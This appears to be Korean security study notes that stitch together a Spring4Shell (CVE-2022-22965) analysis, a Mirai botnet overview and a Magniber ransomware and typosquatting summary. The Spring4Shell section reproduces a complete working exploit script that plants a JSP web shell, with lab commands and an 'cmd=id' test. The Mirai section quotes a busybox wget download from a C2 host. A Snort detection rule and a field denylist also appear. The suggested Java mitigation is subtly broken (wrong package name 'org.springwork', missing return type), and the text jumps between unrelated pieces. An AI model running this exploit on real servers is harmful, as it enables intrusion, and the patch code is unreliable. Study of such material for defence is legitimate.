- JDK 9 이상의 Spring 프레임워크에서 RCE가 가능한 취약점 (CVSS 9.8점) - 2010년에 스프링 프레임워크에서 발견된 취약점이 Class.classLoader를 사용하여 발생하였는데, 이번 JDK 9 버전 이상에서 'class.module.classLoader'로 우회 - 매개변수 바인딩 과정에서'class' 라는 특수한 변수가 사용자에게 노출되어 'classLoader' 에 접근할 수 있을때 발생 ① 사용자가 전달한 매개변수를 POJO에 바인딩하기 위해 "getBeanInfo" 메소드 호출 ② 이때, stopClass를 지정하지 않을 시, 상위 클래스에 대한 속성 값도 함께 반환 ③ 'class.module.classLoader'를 사용할 수 있게 됨
- 취약 조건 ① JDK 9 이상 ② Apache Tomcat 서버 ③ Spring Framework 버전 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전 ④ spring-webmvc 또는 spring-webflux 종속성 ⑤ WAR 형태로 패키징 - 결과 'class' 객체가 외부에 노출되어 원격의 공격자는 해당 class를 이용해 RCE가 가능해짐
2.1 공격원리
- HTTP 요청 메세지에 웹쉘을 생성하는 페이로드를 전송 후 해당 웹쉘에 명령을 전송
[사진 2] 공격 원리 (https://hagsig.tistory.com/107)
2.2 취약점 상세
- 취약한 서버 구동
git clone https://github.com/reznok/Spring4Shell-POC
cd /Spring4Shell-POC
docker build . –t spring4shell && docker run –p 8080:8080 spring4shell
[사진 3] 취약 서버 환경 구동
- 도커 컨테이너가 정상적으로 실행되었는지 확인
[사진 4] 취약 서버 웹페이지
- 원격의 공격자는 대상 URL에 대하여 익스플로잇
[사진 5] 익스플로잇 1[사진 6] 익스플로잇 1 패킷
- 이후, http://도메인 주소:8080/shell.jsp?cmd=id 명령어 입력 시 다음의 결과가 확인
[사진 7] 익스플로잇 2 성공[사진 8] 익스플로잇 2 패킷
- 또한, 버프스위트를 통해 요청 값을 변조하여 공격 가능
[사진 9] 익스플로잇 3[그림 10] 익스플로잇 8 패킷
- [그림 10] 200 응답을 받았으나, [그림 11]에서 해당 경로로 접근하여 RCE 결과 404 응답 (정확한 사유를 모르겠음)
[그림 11] 404 응답
2.2 PoC 분석
# Author: @Rezn0k
# Based off the work of p1n93r
import requests
import argparse
from urllib.parse import urlparse
import time
# Set to bypass errors if the target site has SSL issues
requests.packages.urllib3.disable_warnings()
post_headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
get_headers = {
"prefix": "<%",
"suffix": "%>//",
# This may seem strange, but this seems to be needed to bypass some check that looks for "Runtime" in the log_pattern
"c": "Runtime",
}
def run_exploit(url, directory, filename):
log_pattern = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Di%20" \
f"java.io.InputStream%20in%20%3D%20%25%7Bc%7Di.getRuntime().exec(request.getParameter" \
f"(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B" \
f"%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%25%7Bsuffix%7Di"
log_file_suffix = "class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp"
log_file_dir = f"class.module.classLoader.resources.context.parent.pipeline.first.directory={directory}"
log_file_prefix = f"class.module.classLoader.resources.context.parent.pipeline.first.prefix={filename}"
log_file_date_format = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
exp_data = "&".join([log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format])
# Setting and unsetting the fileDateFormat field allows for executing the exploit multiple times
# If re-running the exploit, this will create an artifact of {old_file_name}_.jsp
file_date_data = "class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=_"
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=file_date_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
# Change the tomcat log location variables
print("[*] Modifying Log Configurations")
ret = requests.post(url, headers=post_headers, data=exp_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
# Changes take some time to populate on tomcat
time.sleep(3)
# Send the packet that writes the web shell
ret = requests.get(url, headers=get_headers, verify=False)
print("[*] Response Code: %d" % ret.status_code)
time.sleep(1)
# Reset the pattern to prevent future writes into the file
pattern_data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern="
print("[*] Resetting Log Variables.")
ret = requests.post(url, headers=post_headers, data=pattern_data, verify=False)
print("[*] Response code: %d" % ret.status_code)
def main():
parser = argparse.ArgumentParser(description='Spring Core RCE')
parser.add_argument('--url', help='target url', required=True)
parser.add_argument('--file', help='File to write to [no extension]', required=False, default="shell")
parser.add_argument('--dir', help='Directory to write to. Suggest using "webapps/[appname]" of target app',
required=False, default="webapps/ROOT")
file_arg = parser.parse_args().file
dir_arg = parser.parse_args().dir
url_arg = parser.parse_args().url
filename = file_arg.replace(".jsp", "")
if url_arg is None:
print("Must pass an option for --url")
return
try:
run_exploit(url_arg, dir_arg, filename)
print("[+] Exploit completed")
print("[+] Check your target for a shell")
print("[+] File: " + filename + ".jsp")
if dir_arg:
location = urlparse(url_arg).scheme + "://" + urlparse(url_arg).netloc + "/" + filename + ".jsp"
else:
location = f"Unknown. Custom directory used. (try app/{filename}.jsp?cmd=id"
print(f"[+] Shell should be at: {location}?cmd=id")
except Exception as e:
print(e)
if __name__ == '__main__':
main()
② Spring 프레임워크 사용 유무 확인 - 프로젝트가 jar, war 패키지로 돼 있는 경우 zip 확장자로 변경하여 압축풀기 - “spring-beans-.jar”, “spring.jar”, “CachedIntrospectionResuLts.class” 검색 - find . -name spring-beans*.jar
③ 최신버전으로 업데이트 적용 - 신규 업데이트가 불가능할 경우 프로젝트 패키지 아래 해당 전역 클래스 생성 후 재컴파일(테스트 필요)
import org.springwork.core.Ordered;
import org.springwork.core.annotation.Order;
import org.springwork.web.bind.WebDataBinder;
import org.springwork.web.bind.annotation.ControllerAdvice;
import org.springwork.web.bind.annotation.InitBinder;
@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
@InitBinder
public setAllowedFields(WebDataBinder dataBinder) {
String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
dataBinder.setDisallowedFields(denylist);
}
}
3.2 네트워크 측면
① 보안 솔루션에 Snort 룰, YARA 룰 등 탐지 및 차단 정책 설정
alert tcp any any -> any any (msg:"Spring4Sell CVE-2022-22965"; content:"class.module.classLoader"; nocase;)
- 컴퓨터 보안기자 Brian Krebs의 웹사이트(krebsonsecurity.com) 665 Gbps 공격 진행
2016.09.18
- OVH(프랑스 웹 호스트)에 최초 1.1 Tbps 공격시작, 최종 1.5 Tbps 공격으로 세계에서 가장 큰 규모의 디도스 공격으로 기록
2016.09.30
- 해커 포럼(Hacker Forum)에 미라이 제작자 소스코드와 상세한 내용 공개 - 소스코드를 공개함에 따라 변종 악성코드가 발생할 것이라는 예상이 있었으며, 실제로도 지속적으로 변종 악성코드 발견되는 중
2016.10.21
- 2016 Dyn cyberattack 1.2 Tbps 크기 공격(미국의 주요 도메인 서비스 마비된 사건 발생, 장기간 서비스 중단) - Dyn(미국 DNS 서비스 업체)이 맡고 있는 1,200개가 넘는 사이트가 일제히 마비
-웜 계열의 DDoS 공격 유발 악성코드
- 사물인터넷(IoT) 기기를 bot(좀비)로 만들어 네트워크상에서 해커가 마음대로 제어할 수 있게 하는 악성코드
감염 대상
설명
IoT 기기
- loT 장비 제조사마다 다양한 CPU를 사용하고 있고, CPU 환경에 적합한 리눅스 운영체제를 적용 - 리눅스 운영체제를 기반으로 제작된 소스코드는 크로스 컴파일을 통해 다양한 CPU환경에서 실행가능하도록 만들어짐 - 이 때문에 거의 대부분의 IoT 기기가 공격의 대상이 된다.
* 크로스 컴파일: 소스코드를 CPU 별로 실행 가능한 형태로 바꿔주는 행위
- 보안이 허술한 IoT 기기(SSH_23 Port Open + Default or Easy ID/PW)에 악성코드를 설치하여 좀비로 만들어 다른 보안이 허술한 IoT를 찾아 유포
기능
설명
스캔
- 랜덤 IP 주소를 생성하여 23번 포트(Telnet)로 약 60여개의 ID/PW를 이용 - 기본설정을 변경하지 않은 IoT 장비에 Bruteforce를 시도
전파
- IoT 기기에 접속이 성공하면 Mirai 악성코드를 유포 및 실행 과정 반복 - 감염 장비를 확보함으로써 봇넷 형성
* IoT 장비에서 제공하는 명령어가 부족하여 악성코드 다운로드에 실패할 수 있음 - 이 경우 다양한 명령어를 보유한 새로운 Busybox(리눅스 기반 명령어 모음도구)를 주입 - Busybox의 wget명령어를 이용하여 Mirai 악성코드를 다운로드 받아 실행 - 명령 예제 : busybox wget http://C2 IP/
DDoS
- 형성된 봇넷은 C&C에 접속하여 명령을 대기하고 공격 명령 수신 시 DDoS 공격을 수행 - HTTP(GET, POST, HEAD), TCP(SYN, RST, FIN, ACK, PSH), UDP(DNS, ICMP) Flooding 등의 공격
재부팅 방지
- 임베디드 장비는 동작 중 멈추거나 서비스가 중지되는 것을 방지하기 위해 자동 재부팅 기능(Watchdog)이 존재 - Mirai는 감염 시 메모리에만 상주하고 디스크에서 파일을 삭제하기 때문에 재부팅 시 메모리에 상주한 악성코드가 사라져 동작이 중지 - 이를 막기 위해서 재부팅 기능을 무력화하는 기능이 악성코드 내에 포함
※ watchdog : 임베디드 장비가 다운됐을 때 재부팅을 위한 모니터링 프로세스
기타
- DDoS 외에도 네트워크 수준의 공격 모두 수행 가능 - 한 장치를 감염시키면, 해당 기기에서 다른 악성코드를 찾아내 이를 지우는 기능을 수행 - GE, HP, 미국 국방부 소유의 IP 주소를 포함해 피할 수 있는 특정 IP 주소가 있음 - 러시아로 된 몇 개의 문자열이 있으며, 이는 관심과 추적을 다른 데로 돌리기 위한 미끼
- 매그니베르(Magniber) 랜섬웨어가 마이크로소프트 윈도의 MOTW(Mark of the Web) 기능을 우회하면서 타이포스쿼팅 방식으로 활발하게 유포 -MOTW는 NTFS 파일 시스템에서 동작하며, 다운로드 URL은 NTFS 파일 시스템의 윈도에서 Stream에 기록 -URL이 저장되는 Stream은 ‘파일명 : Zone.Identifier : $DATA’ 형태로 파일 경로에 생성되며 노트패드를 통해 간단히 확인 가능 - MOTW 기능에 의해 식별된 다운로드 파일을 실행하게 되면 경고 메시지가 발생
내용
- 매그니베르 랜섬웨어는 현재도 유포되고 있으며, 백신의 탐지를 회피하기 위해 다양한 변화를 시도 - 일부는 마이크로소프트에서 파일 출처를 알려주는 MOTW를 우회한 것으로 확인 - 공격자는 9월 8일부터 29일까지 20여일에 걸쳐 스크립트를 이용해 공격 및 타이포스쿼팅(Typosquatting) 방식으로 유포
- 다운로드된 파일은 윈도의 MOTW 기능에 의해 외부에서 가져온 파일로 식별 - 매그니베르 랜섬웨어는 MOTW 실행 차단을 우회하기 위해 9월 8일부터 29일 사이에 스크립트 하단에 디지털 서명을 사용 - 스크립트의 디지털 서명은 스크립트를 작성한 후 서명을 통해 스크립트가 변경되지 않았음을 보장하고, 작성한 사람을 확인할 수 있는 방법을 제공 - 매그니베르 랜섬웨어의 스크립트 하단에 포함된 디지털 서명은 MOTW를 우회하기 위한 목적으로 분석
- 현재 매그니베르 랜섬웨어는 스크립트 형태로 유포되지 않고 MSI 확장자로 유포 - 랜섬웨어 감염 진단을 회피하기 위해 유포 기법을 끊임없이 변경하기 때문에 사용자들의 각별한 주의가 필요
참고
*타이포스쿼팅(Typosquatting) - 개요 : 사회공학 기법의 일종으로 보편적으로 행해지고 있으며, 단순하지만 효과적인 공격 수법 - 공격 방식 : 정상 도메인과 비슷한 이름의 도메인을 등록 후 사용자의 오탈자 등으로 접속 시 악성코드 배포와 같은 악의적 행위가 이루어짐 - 도메인 가장 방식 : 대상 도메인의 오탈자, 다른 최상위 도메인, 관련 단어의 조합, 비슷하게 생긴 문자 등으로 도메인 생성 - 피해 범위 : 부당 이득, 광고 사기, 정보 탈취, 악성코드 유포, 명예 훼손 등 - 피해 사례 : 코로나19 팬데믹과 관련된 도메인 스푸핑 시도 - 대응 방안 : ① 주기적인 OS, 백신 업데이트 ② 몇몇 밴더사에서 제공하는 스푸핑 가능성이 존재하는 도메인 식별 서비스 등을 이용 ③ 사람들에게 의존하여 잘못된 도메인을 식별해야 한다는 사실로 인해 기술적 대응이 어려울 수 있음 ④ 추가적으로 법적 조치가 필요한 경우도 있으나, 범죄 조직의 경우 법적 조치에 거의 반응하지 않음 ⑤ 오히려 기업측에서 자체 도메인과 비슷한 도메인을 등록하여 올바른 URL로 리다이렉션하는 방안도 있으며, 이를 "방어적 등록" 혹은 "합법적 타이포스쿼팅"이라 함